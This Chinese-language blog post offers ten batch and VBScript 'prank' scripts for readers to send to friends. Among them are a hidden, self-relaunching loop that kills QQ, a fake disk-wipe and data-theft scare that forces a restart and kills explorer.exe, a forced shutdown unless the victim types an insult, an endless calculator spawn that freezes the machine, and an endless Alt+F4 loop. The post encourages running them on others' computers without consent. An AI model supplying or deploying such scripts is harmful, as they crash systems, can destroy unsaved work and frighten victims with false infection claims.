【Python整蛊合集】多份整蛊代码，发给朋友之后我.....(友尽系列推荐)

前言

作者 ：“程序员梨子”

**文章简介 **：本篇文章主要是写了自动刷金币脚本啦！

**文章源码获取 **： 为了感谢每一个关注我的小可爱每篇文章的项目源码都是无偿分

享滴

点这里蓝色这行字体自取，需要什么源码记得说标题名字哈！私信我也可！

欢迎小伙伴们 点赞、收藏⭐、留言

正文

好久不见！

你们亲爱的小梨子，带着包袱满满的整蛊代码回来啦！

那今天我们就来盘点一下：学生时代的那些整蛊大法！！

1）写个纸条贴在同学背后

突然抽走椅子让你摔个屁股墩

把你的鞋带绑在凳子腿上

这些都是基本操作！

2）还总有一些同学这样喊道

“班主任在后门”

“那个谁谁谁，老师找你让你赶快去办公室”

是想吓死个谁啊！

还有同学谎称“明天放假咦，不用上课啦”

这种真的有哪个小天真会信吗

更有“你的钱掉了”

“咦！地上是谁的100块钱~”

那时的你会低头看看吗？

3）还有同学买那种整蛊玩具

打开盒子突然出现的

恐怖鬼脸+恶魔般的音效

超仿真的小蛇、蜘蛛玩偶

都是噩梦般的存在！

那么今日互动话题来了

你还记得哪些校园整蛊的套路吗？

评论留言给我吧！

温馨提示：整蛊有风险，整蛊需谨慎玩笑归玩笑，不要太过哦不然你真的会“友”尽了

（1）杀死ta的QQ。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin 

把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那他的qq就不能运行了哟~

​（2）格式化磁盘。

@ color 4f 
    @echo off
    echo 删除计算机的C盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    echo.
    echo 删除计算机的D盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    echo.
    echo 删除计算机的E盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    @ color
    echo.
    echo. =========================================
    echo. 啊哈哈，都删关，都杀关，哈哈 ……
    echo. =========================================
    echo. 系统将马上崩溃......
    echo. 这是一个木马程序......您的所有资料已经传到 [email protected]
    shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"
    ntsd -c q -pn explorer.exe
    ping 127.0.0.1 /n 20 >nul
    start explorer.exe
    shutdown -a

将以上部分保存到txt格式，然后把后缀改成bat就可以运行了，运行后他的磁盘会被格式化。

当然那是假的。。。用来吓人的。。。希望你玩的愉快。。。

（3）让ta说ta是猪。

set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""    ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了，让对方说 他是。

​（4）直接死机。

set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了

打开无数个计算器，直到死机。

​（5）一直说You are pig!

do 
msgbox "You are pig!" 
loop

(6)重复说话200次。

Set WshShell = WScript.Createobject("WScript.Shell")
for i = 1 to 200
WScript.Sleep 1
WshShell.SendKeys"^v"
wshShell.SendKeys"{ENTER}"
next

（7）给我按200次回车。

for i = 0 to 200 
msgbox "回车[滑稽]",64
next

（8）Alt+F4超可怕。

do
Set WshShell = WScript.Createobject("WScript.Shell")
WshShell.SendKeys "%{F4}"    '%代表Alt'
loop

（9）问答形式。

a=msgbox "你是不是有点儿蠢?",vbOKCancel
if a = vbOK then
msgbox("确实有点儿！")
elseif a=vbCancel then
do
msgbox("蠢蠢的！")
loop

问答2——借钱的时候场景再现哈哈哈。

msgbox "你在吗",vbQuestion,"在吗"
msgbox ("我借你1w块钱")
msgbox ("1个月给你")
msgbox ("不给，我就是PIG")
dim j
do while j<1
Select Case msgbox("借给我好吗",68,"请郑重的回答我")
Case 6 j=1
Case 7 msgbox("想好了再说")
end Select
loop
msgbox("我就知道你会同意的，哈哈哈哈")

（10）强制表白。

Dim Style,  Title, Help, Ctxt,MyString '定义变量
Dim Msg1,Msg2,Msg3      '定义消息文本
Dim Response                 '定义返回对象
Dim Msg()
redim Msg(4)
Msg(0)="做我女朋友好不好？"
Msg(1)="就知道你会说好！"
Msg(2)="你是我的小可爱嘞！"
Msg(3)="所以我必须是你的大可爱！"
Style=vbYesNo+vbInformation
Title="小姐姐是我的小可爱"

for i=0 to 3
     Response=MsgBox(Msg(i),Style,Title)
     If Response=vbYes Then ' 用户选择[是]
          MyString="Yes"        ' Perform some action.
          Response=MsgBox("4号小姐姐搞定",vtOKonly,Title)
          exit for
     Else    ' 用户选择[否].
           MyString="No"        ' Perform some action.
           If  i =3 Then
                i=-1
                End If
           End If 
Next

效果截图——vbs运行之后：

​点击否定按钮会一直循环弹窗如下：

同意之后效果如下：

大部分的代码的话我就没截图了哈！10组代码的话我就仅展示一组效果！

其他的效果大家自己试试哦~肯定有惊喜滴！哈哈哈

番外篇——表白！

算了——再来一组番外篇给大家展示下效果哈，这组必须发给喜欢的女神看哈，抓住机会不要错过！！！

点开就可以，不需要安装啥子东西， 有浏览器就可以啦~

​

​

​

​总结

哈哈哈！拿代码去跟小伙伴儿玩吧~不过这可能比较废朋友，谨慎使用哈~

关注小编获取更多精彩内容！记得点击传送门哈

记得三连哦！ 如需打包好的源码+素材免费分享滴！！传送门